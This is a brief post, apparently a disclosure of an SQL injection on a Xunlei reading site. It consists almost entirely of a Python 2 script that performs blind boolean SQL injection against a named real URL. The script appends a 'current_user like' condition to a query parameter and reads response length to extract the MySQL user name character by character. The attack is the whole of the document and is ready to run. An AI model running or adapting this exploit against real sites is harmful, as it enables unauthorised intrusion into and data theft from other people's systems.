迅雷某站SQL注入

#encoding=gbk
 import urllib2
 import sys
 
 payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
 
 user = ''
 result = ''
 for i in range(1,15):
     for payload in payloads:
         s = hex(ord(payload)).replace('0x','')
         url = 'http://yuedu.xunlei.com/?action=lists&cid=3&typeid=1 and current_user like 0x%s%s25' % (result,s)
         request = urllib2.Request(url)
         response = urllib2.urlopen(request).read()
         if(len(response)<130000):
 
             print '.',
 
         else:
 
             result += s
 
             user += payload
 
             sys.stdout.write('/r[In progress] %s' % user)
 
             sys.stdout.flush()
 
             break
 
 print '/n[Done]MySQL user is', user